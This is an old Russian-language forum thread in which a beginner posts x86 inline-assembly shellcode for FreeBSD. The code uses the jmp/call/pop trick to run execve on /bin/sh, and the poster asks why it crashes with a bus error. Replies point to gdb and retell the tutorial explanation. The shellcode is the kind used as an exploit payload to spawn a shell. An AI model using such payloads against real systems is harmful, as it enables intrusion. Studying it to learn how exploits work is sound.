|
|
| Посл.отвђт | Сообщенiе |
|
|
Дата: Июн 24, 2004 20:56:39 решил попробовать накидать шеллкод (см сабдж), а он зараза падает в кору (bus error) код: void shellcode(void) { __asm__( "jmp .+16\n" "popl %esi\n" "xorl %eax,%eax\n" "movb %al,7(%esi)\n" //!!! вот тут вываливается "pushl %eax\n" "pushl %eax\n" "pushl %esi\n" "movb $59,%al\n" "pushl %eax\n" "int $0x80\n" "call .-14\n" ".string \"/bin/shX\"\n" ); } Ну а извращатся так пришлось (чегоуж умничать - все как в туториалах), для того чтобы определить адрес стринга с именем шелла где в памати лежит...адрес опредиляется, и прыгает по джампам как надо...а вот чего ему не нравится в том что я хочу загнать ноль по относительному смещению в конец строки - непонимаю :-/ P.S. под FreeBSD 4.7 |
|
|
Дата: Июн 24, 2004 22:40:35 "jmp .+16\n" "popl %esi\n" насколько успел разобраться - здесь немного не того... |
|
|
Дата: Июн 24, 2004 22:50:50 шеллкод от Ni0S ковыряешь? ;) юзай gdb и тогда разберешься .. |
|
|
Дата: Июн 26, 2004 10:50:14 >юзай gdb и тогда разберешься .. а как я по твоемому узнал в какой строке он вываливает bus error ? for Shift: первый jmp прыгает на инструкцию call (которая при вызове сохраняет в стеке адрес следующей инструкции, в данном примере - это адрес начала стороки /bin/shX, который передается как параметр для вызова execve syscall) popl %esi - выгребает со стека этот адрес, а movb %al,7(%esi) устанавливает \0 вместо Х Поправте если чего не так... (как бы все вышесказанное взято с тутора...а вот почему, собственно говоря, она не работает по такой схеме - незнаю...новичок я еще :) |
|
Powered by miniBB 1.6 © 2001-2002
Время загрузки страницы (сек.): 0.083 |